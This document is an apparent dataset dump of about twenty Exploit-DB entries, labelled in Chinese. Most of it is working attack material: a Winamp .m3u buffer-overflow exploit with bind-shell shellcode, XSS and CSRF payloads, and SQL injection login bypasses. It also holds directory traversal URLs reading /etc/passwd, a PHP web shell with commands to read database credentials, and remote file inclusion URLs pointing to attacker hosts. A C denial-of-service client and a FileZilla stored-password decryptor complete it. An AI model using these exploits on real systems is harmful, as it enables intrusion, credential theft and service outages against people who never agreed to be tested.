QLWD/code_shield huggingface dataset:
标题: Winamp 5.12 - '.m3u' Local Stack Buffer Overflow EDB-ID: 26245 CVE: 2006-0720 类型: LOCAL 平台: WINDOWS 发布日期: 2013-06-17 漏洞利用脚本: # Exploit Title: Winamp 5.12 .m3u stack based buffer overflow
# Date: 16 June 2013
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: http://www.winamp.com/
# Software Link: http://www.oldapps.com/winamp.php?old_winamp=211
# Version: 5.12
# Tested on: Windows XP Professional SP2, English
# CVE: CVE-2006-0720
# BID: 16785
#
# Description from CVE-2006-0720
# Stack-based buffer overflow in Nullsoft Winamp 5.12 and 5.13 
# allows user-assisted attackers to cause a denial of service 
# (crash) and possibly execute arbitrary code via a crafted 
# .m3u file that causes an incorrect strncpy function call 
# when the player pauses or stops the file.
#
#
# 1. Launch Winamp
# 2. Drag boom.m3u into Winamp window 
# 3. Check for bind shell on port 28876
#

import struct

header =  "#EXTM3U\n"
header += "#EXTINF:1234,Pwnage Rock\n"

# NTDisplayString
egghunter = (
"\x90" * 64 +
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x43\x58" +
"\xcd\x2e\x3c\x05\x5a\x74\xef\xb8" +
"\x77\x30\x30\x74" + # w00t
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" +
"\x90" * 30
)

junk = "\x41" * 262 + "\x90" * 100 + egghunter

# bind shell on port 28876
# https://code.google.com/p/w32-bind-ngs-shellcode/
# msfencode -i w32-bind-ngs-shellcode.bin -b "\x00\x0a\x0d\x5c"
# [*] x86/shikata_ga_nai succeeded with size 241 (iteration=1)
shellcode = (
"w00tw00t" + "\x90" * 239 + 
"\xbf\x26\x63\xb2\x20\xda\xcc\xd9\x74\x24\xf4\x5a\x33\xc9" +
"\xb1\x36\x83\xea\xfc\x31\x7a\x10\x03\x7a\x10\xc4\x96\x83" +
"\xe9\x6c\xd2\x95\xd9\xe7\x92\x59\x91\x81\x46\xe9\xcb\x65" +
"\xfc\x93\x33\xfe\x34\x54\x7b\x18\x4c\x57\xd2\x70\x9c\xc8" +
"\xe6\xb2\x88\x90\x5e\xc5\x3b\x35\xe8\xa6\xb5\x5d\x9f\x5e" +
"\x70\x5e\x89\x52\x52\xad\x40\x8d\x73\xde\xf9\x10\x2d\x60" +
"\xaf\xc5\x9c\xe1\xa0\xc5\xba\xa9\xb5\x48\xff\xbe\x96\x6f" +
"\x87\xc1\xcd\x04\x3c\xe2\x10\xf3\x95\xd3\xc0\x41\x91\x20" +
"\x74\x44\x4b\xfc\x40\xea\xa7\x8c\x84\x36\xfb\x1f\xa0\x41" +
"\x3e\xc7\x3f\x46\x61\x8c\x8b\xbc\x9f\x7b\x04\x0b\x8b\x2a" +
"\x90\x38\xa8\xcd\x4f\x37\x38\xce\x8b\xd6\x12\x51\xad\xd1" +
"\x11\x5a\x5f\xbf\xdd\x09\xa0\xef\x89\x38\xde\x31\x45\x36" +
"\x6e\x13\x04\x47\x40\x06\xa9\x68\xf4\xd9\x79\x77\x08\x56" +
"\xb6\xed\xe7\x3f\x14\xa4\xf8\x6f\xe3\x87\x73\x77\xdd\xd5" +
"\x2e\xef\x7d\xb7\xaa\xcf\x0c\x3b\x17\x37\xa4\x6f\xfc\x81" +
"\xfd\x86\x02\x59\x85\x65\x21\x36\xdb\xc7\x7b\x7e\x9c\x08" +
"\x73\x29\x71\x85\xd3\x87\x8a\x7f\x38\xac\x33\x7c\x29\x78" +
"\x44\x83\x55"
)

# 022B368C , call ecx , C:\Progam Files\Winamp\pxsdkpls.dll
ret = struct.pack("<I", 0x022B368C)

# for some reason eip doesn't get overwritten and Winamp 
# crashes differently unless the 4th byte after ret is
# a 0xB0. there's probably an easier way to do this but 
# this is what the fuzzer found first so...
wtf = "\x43\x43\x43\xB0"

f = open("boom.m3u", "w")
f.write(header + junk + shellcode + ret + wtf)
f.close()

print "Created boom.m3u"
print "1. Open Winamp"
print "2. Drag boom.m3u into Winamp window"
print "3. Check for bind shell on port 28876" URL: https://www.exploit-db.com/exploits/26245
标题: SPBAS Business Automation Software 2012 - Multiple Vulnerabilities EDB-ID: 26244 CVE: 2013-4665 2013-4664 类型: WEBAPPS 平台: PHP 发布日期: 2013-06-17 漏洞利用脚本: # SPBAS Business Automation Software- XSS & CSRF Vulnerability
# Date: 16 June 2013
# Author: Christy Philip Mathew - www.offcon.org
# Vendor or Software Link: http://www.spbas.com
# Version: 2012


*1.XSS Vulnerability*

(a) Client Area -> My Info -> Update the first name and last name to

john"><img src=x onerror=prompt(0);>

(b) Update the security question to

john"><img src=x onerror=prompt(0);>


*2.Cross Site Request Forgery*

(a) Change Customer Information

<html>

     <body onload=document.forms[0].submit();>
    <form action="http://website.com/customers/index.php" method="POST">
      <input type="hidden" name="task" value="my_account" />
      <input type="hidden" name="tab" value="my_info" />
      <input type="hidden" name="update_my_info" value="y" />
      <input type="hidden" name="first_name" value="hacked" />
      <input type="hidden" name="last_name" value="hacked" />
      <input type="hidden" name="username" value="hacked" />
      <input type="hidden" name="form_submission"
value="Save Changes" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


(b) Change Security Question Answer

<html>

   <body onload=document.forms[0].submit();>
    <form action="http://website.com/customers/index.php" method="POST">
      <input type="hidden" name="task" value="my_account" />
      <input type="hidden" name="tab" value="security_question" />
      <input type="hidden" name="change_security_question"
value="y" />
      <input type="hidden" name="question" value="1" />
      <input type="hidden" name="answer" value="test" />
      <input type="hidden" name="form_submission"
value="Save Changes" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/26244
标题: Stylemotion WEB//NEWS 1.4 - 'startup.php' Cookie SQL Injection EDB-ID: 26234 CVE: 2005-2896 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14776/info

WEB//NEWS is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following is sufficient to supply to 'modules/startup.php' to authenticate:
wn_userid=1; wn_userpw=0' OR '1'='1 URL: https://www.exploit-db.com/exploits/26234
标题: Stylemotion WEB//NEWS 1.4 - 'news.php' Multiple SQL Injections EDB-ID: 26235 CVE: 2005-2896 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14776/info
 
WEB//NEWS is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/include_this/news.php?cat=[SQL]
http://www.example.com/include_this/news.php?id=[SQL]
http://www.example.com/include_this/news.php?stof=[SQL] URL: https://www.exploit-db.com/exploits/26235
标题: PBLang 4.65 Bulletin Board System - 'SetCookie.php' Directory Traversal EDB-ID: 26231 CVE: 2005-2892 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/14765/info

PBLang is affected by a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. 

http://www.example.com/pblang/setcookie.php?u=../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/26231
标题: Cisco IOS 12.x - Firewall Authentication Proxy Buffer Overflow EDB-ID: 26233 CVE: 2005-2841 类型: DOS 平台: HARDWARE 发布日期: 2005-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/14770/info

Cisco IOS Firewall Authentication Proxy is prone to a buffer overflow condition. Successful exploitation of this issue could cause a denial of service or potential execution of arbitrary code.

This issue affects the FTP and Telnet protocols, but not HTTP. 

perl -e 'print "pass "; print "A" x 51; print "@ \n";' URL: https://www.exploit-db.com/exploits/26233
标题: Unclassified NewsBoard 1.5.3 - 'Description' HTML Injection EDB-ID: 26224 CVE: 2005-2855 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/14748/info

Unclassified NewsBoard is prone to an HTML injection vulnerability. This is due to a lack of proper sanitization of user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

post new message and paste into description field:
</div><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26224
标题: Frox 0.7.18 - Arbitrary Configuration File Access EDB-ID: 26218 CVE: 2005-2807 类型: LOCAL 平台: LINUX 发布日期: 2005-09-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/14711/info

Frox is prone to a vulnerability that permits read access to arbitrary files.

Successful exploitation of this vulnerability will grant the attacker read access to arbitrary files on the system in the security context of the Frox process. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.

It should be noted that this issue is only exploitable if Frox is installed with setuid or setgid privileges. 

mq(/usr/local/sbin)-> frox -f /etc/master.passwd
Unrecognised option
"root:$2a$04$nR2msaB9.nAgR4qI6pqBNOQbH6LoqALZTmqsqhGEJLLwyTfsxXTd.:0:0::0:0:Charlie"
at line 3 of /etc/master.passwd
Error reading configuration file URL: https://www.exploit-db.com/exploits/26218
标题: Easy LAN Folder Share 3.2.0.100 - Buffer Overflow EDB-ID: 26214 CVE: 2013-6079 类型: DOS 平台: WINDOWS 发布日期: 2013-06-14 漏洞利用脚本: # Exploit Title: Easy LAN Folder Share Version 3.2.0.100 Buffer Overflow vulnerability(SEH)
# Date: 14-06-2013
# Exploit Author: ariarat
# Vendor Homepage: http://www.mostgear.com
# Software Link: http://download.cnet.com/Easy-LAN-Folder-Share/3000-2085_4-10909166.html
# Version: 3.2.0.100
# Tested on: [ Windows 7 & windows XP sp2,sp3]
#============================================================================================
# After creating txt file,open created file and copy the AAA... string to clipboard and
# then paste in "Register -> Activate License -> Registration Code" section.
# ** type any character in User Name text field.
#
#============================================================================================
# Contact :
#------------------
# Web Page : http://ariarat.blogspot.com
# Email    : mehdi.esmaeelpour@gmail.com
#============================================================================================

#!/usr/bin/python

filename="string.txt"
buffer = "\x41" * 1000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close() URL: https://www.exploit-db.com/exploits/26214
标题: FlatNuke 2.5.6 - 'USR' Cross-Site Scripting EDB-ID: 26215 CVE: 2005-2814 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/14704/info

FlatNuke is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forum/index.php?op=vis_reg&usr="><script>alert('LOL%20%20')</script><!-- URL: https://www.exploit-db.com/exploits/26215
标题: Indiatimes Messenger 6.0 - Remote Buffer Overflow EDB-ID: 26216 CVE: 2005-2844 类型: DOS 平台: WINDOWS 发布日期: 2005-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/14705/info

Indiatimes Messenger is reported prone to a remote buffer overflow vulnerability.

A successful attack may trigger a crash in the client or lead to arbitrary code execution. The attacker may then gain unauthorized remote access in the context of the user running the application.

Indiatimes Messenger 6.0 is affected by this issue. 

[script]
var obj1 = new
ActiveXObject("MMClient.MunduMessenger.1");
var buf = "";

for(i=0; i<1000; i++)
{
buf += "A";
}

while(obj1.GetServerStatus() != "Logged In"); //wait
till login

obj1.RenameGroup("Friends", buf, 5);
[/script] URL: https://www.exploit-db.com/exploits/26216
标题: WhitSoft Development SlimFTPd 3.17 - Remote Denial of Service EDB-ID: 26219 CVE: 2005-2850 类型: DOS 平台: WINDOWS 发布日期: 2005-09-02 漏洞利用脚本: // source: https://www.securityfocus.com/bid/14723/info

SlimFTPd is prone to a remote denial of service vulnerability. This issue is due to a failure in the application to handle exceptional conditions.

The problem presents itself during login. The application fails to handle malicious input in a proper manner resulting in a crash of the server, thus denying service to legitimate users. 

/*

Slim FTPd 3.17 Remote DoS PoC Exploit

Public proof of concept code by "Critical Security" http://www.critical.lt

Use for education only! Don't break the law...

Original Advisory may be found here: http://www.critical.lt/?vulnerabilities/8
Exploit compiles without warnings on FreeBSD 5.4-RELEASE
Tested against Slim FTPd 3.17 on Windows XP SP 2

Compilation:

mircia$ uname -sr
FreeBSD 5.4-RELEASE-p6
mircia$ gcc this_file.c -o expl
mircia$ ./expl localhost
here goes output

*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 21
#define USER "USER aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n"  //
#define PASS "PASS aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n" // Our dirty requests ;) 
#define QUIT "QUIT" // after all we just quit                    

int main(int argc, char *argv[]) {
  register int s;
  register int bytes;
  struct sockaddr_in sa;
  struct hostent *he;
  char buf[BUFSIZ+1];
  char *host;
  
  if ((s = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
    perror("pizute");
    return 1;
  }

  bzero(&sa, sizeof sa);

  sa.sin_family = AF_INET;
  
  if (argc <= 1) {
  
  
  printf("%s%s%s","Usage: ",argv[0]," hostname or ip\n\n");
  
   } else {   
 
  host = (char *)argv[1];
  sa.sin_port = htons(PORT);

  if ((he = gethostbyname(host)) == NULL) {
    perror(host);
    return 2;
  }
  
  printf ("%s","\nCritical Security web-site: http://www.critical.lt\n");
  printf ("%s","Slim FTPd 3.17 lame PoC DoS exploit.\n");
  printf ("%s","greets to Lithuanian girlz :)\n\n"); 
  printf ("%s%s%s","[*] Initiating attack against ",host, "\n");
 
    bcopy(he->h_addr_list[0],&sa.sin_addr, he->h_length);

  if (connect(s, (struct sockaddr *)&sa, sizeof sa) < 0) {
    perror("connect");
    return 3;
  }

write(s,USER,sizeof USER); // dirty dirty dirty...
write(s,PASS,sizeof PASS);
write(s,QUIT,sizeof QUIT);

printf("%s","[*] Stuff sent, now wait for 30-120 seconds,\nserver should crash, if's not - try again or write a better code :P\n");



  close(s);
  return 0;

}} URL: https://www.exploit-db.com/exploits/26219
标题: MAXdev MD-Pro 1.0.73 - Arbitrary File Upload EDB-ID: 26225 CVE: 2005-2885 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/14750/info

MAXdev MD-Pro is prone to an arbitrary remote file upload vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

This issue is due to a design error in the application that uses a blacklist technique, saying what file extensions can not be uploaded, versus a whitelist design that would only permit certain file extensions. An attacker can exploit this vulnerability to upload arbitrary files including malicious scripts and possibly execute the script on the affected server.

This can ultimately facilitate unauthorized access in the context of the Web server. 

upload a file with .inc extension with this code inside:

<?php
error_reporting(0);
system($_GET[c]);
?>

now list directories with:
http://www.example.com/upload/dl/[filename].inc?c=ls%20-la

see /etc/passwd file:
http://www.example.com/upload/dl/[filename].inc?c=cat%20/etc/passwd

see database username and password:
http://www.example.com/upload/dl/[filename].inc?c=cat%20.././config/md-config.php URL: https://www.exploit-db.com/exploits/26225
标题: CMS Made Simple 0.10 - 'Lang.php' Remote File Inclusion EDB-ID: 26217 CVE: 2005-2846 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/14709/info

CMS Made Simple is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

CMS Made Simple Version .10 and all prior versions are reported vulnerable. 

example.html:
<form action="http://www.example.com/admin/lang.php?CMS_ADMIN_PAGE=1&nls[file][vx][vxsfx]=(__URL__)" method=post>
<input type=hidden name=change_cms_lang value=vx>
<input type=submit name=test VALUE="do it">
</form>
EOF URL: https://www.exploit-db.com/exploits/26217
标题: FileZilla 2.2.15 - FTP Client Hard-Coded Cipher Key EDB-ID: 26220 CVE: 2005-2898 类型: DOS 平台: WINDOWS 发布日期: 2005-09-02 漏洞利用脚本: // source: https://www.securityfocus.com/bid/14730/info

FileZilla FTP client may allow local attackers to obtain user passwords and access remote servers.

The application uses a hard-coded cipher key to decrypt the password, which is stored in an XML file or the Windows Registry.

This can allow the attacker to gain access to an FTP server with the privileges of the victim. 

*/


//Includes
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

//Macros
#define MAX_SIZE 150
#define SLEEP_TIME 5000

//Global variable (cypher key)
char *m_key = "FILEZILLA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ";


//PRE:  decimal values representing ASCII chars,
//              every three digits becomes one ASCII char
//              e.g.:   042040063063
//POST: ASCII chars are copied back to buff[]
//              e.g.:   *(??
//              the length of the new string is returned
int digit2char(char buff[])
{
        char tmp_buff[4], ascii_buff[MAX_SIZE];
        unsigned int i=0, j=0, n=0, len=(strlen(buff)/3);
        for(i=0,j=0;i<strlen(buff);i+=3,++j)
        {
                tmp_buff[0]=buff[i];
                tmp_buff[1]=buff[i+1];
                tmp_buff[2]=buff[i+2];
                tmp_buff[3]='\0';

                n=atoi(tmp_buff);
                ascii_buff[j]=(char)n;
        }
        ascii_buff[j]='\0';
        printf("ascii_buff:%s\n", ascii_buff);
        strcpy(buff, ascii_buff);

        return len;
}

//PRE: buffer containing ASCII chars of cypher
//     (rather than their numberic ASCII value)
//POST:length of cleartext password is returned
unsigned int decrypt(char buff[])
{
        unsigned int i, pos, len;

        len=digit2char(buff);
        pos=len%strlen(m_key);

        for (i=0;i<len;i++)
                buff[i]=buff[i]^m_key[(i+pos)%strlen(m_key)];

        return len;
}

int main(void)
{
        char cypher[MAX_SIZE];
        unsigned int len=0,i=0;

        printf("Enter cypher (encrypted password)\ne.g.:
120125125112000\n->");
        scanf("%s", cypher);
        if(strlen(cypher)%3==0)
        {
                len=decrypt(cypher);
                printf("cleartext password:");
                for(i=0;i<len;++i)
                        printf("%c",cypher[i]);
                printf("\n");
        }
        else
        {
                printf("You didn't enter a valid cypher!\n");
                printf("It should be a numeric value whose length is multiple of
3\n");
        }

        printf("Ending program in %d seconds...\n", SLEEP_TIME/1000);
        Sleep(SLEEP_TIME);
        return 0;
} URL: https://www.exploit-db.com/exploits/26220
标题: phpLDAPadmin 0.9.6/0.9.7 - 'welcome.php' Arbitrary File Inclusion EDB-ID: 26211 CVE: 2005-2792 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/14695/info

phpldapadmin is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

phpldapadmin is prone to a directory traversal vulnerability. An attacker can exploit this vulnerability to retrieve arbitrary files on the vulnerable system in the security context of the Web server process. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.

phpldapadmin is prone to a remote file include vulnerability. An attacker can exploit this vulnerability to execute arbitrary PHP script code in the security context of the Web server process.

phpldapadmin is also prone to a cross-site scripting vulnerability. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/phpldapadmin/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd
http://www.example.com/phpldapadmin/welcome.php?custom_welcome_page=http://www.example.com/[malicious code] URL: https://www.exploit-db.com/exploits/26211
标题: Autolinks 2.1 Pro - 'Al_initialize.php' Remote File Inclusion EDB-ID: 26208 CVE: 2005-2782 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/14686/info

AutoLinks Pro is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com//al_initialize.php?alpath=ftp://host.com/shell.php? URL: https://www.exploit-db.com/exploits/26208
标题: PHPWebNotes 2.0 - 'Api.php' Remote File Inclusion EDB-ID: 26201 CVE: 2005-2775 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/14679/info

phpWebNotes is prone to a remote file include vulnerability.

hpWebNotes is susceptible to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may exploit this issue to execute arbitrary PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/xxxxx/api.php?t_path_core=http://pathtohackingscript?&cmd=id URL: https://www.exploit-db.com/exploits/26201
标题: FlatNuke 2.5.6 - 'ID' Directory Traversal EDB-ID: 26212 CVE: 2005-2813 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/14702/info

FlatNuke is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An unauthorized user can retrieve arbitrary files by supplying directory traversal strings '../' to the vulnerable parameter.

Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. 

http://www.example.com/index.php?mod=read&id=../forum/users/[user].php%00 URL: https://www.exploit-db.com/exploits/26212
标题: Land Down Under 700/701/800/801 - 'index.php?c' SQL Injection EDB-ID: 26205 CVE: 2005-2788 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/14685/info

Land Down Under is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/ldu/index.php?c='
http://www.example.com/ldu/index.php?c=%27 URL: https://www.exploit-db.com/exploits/26205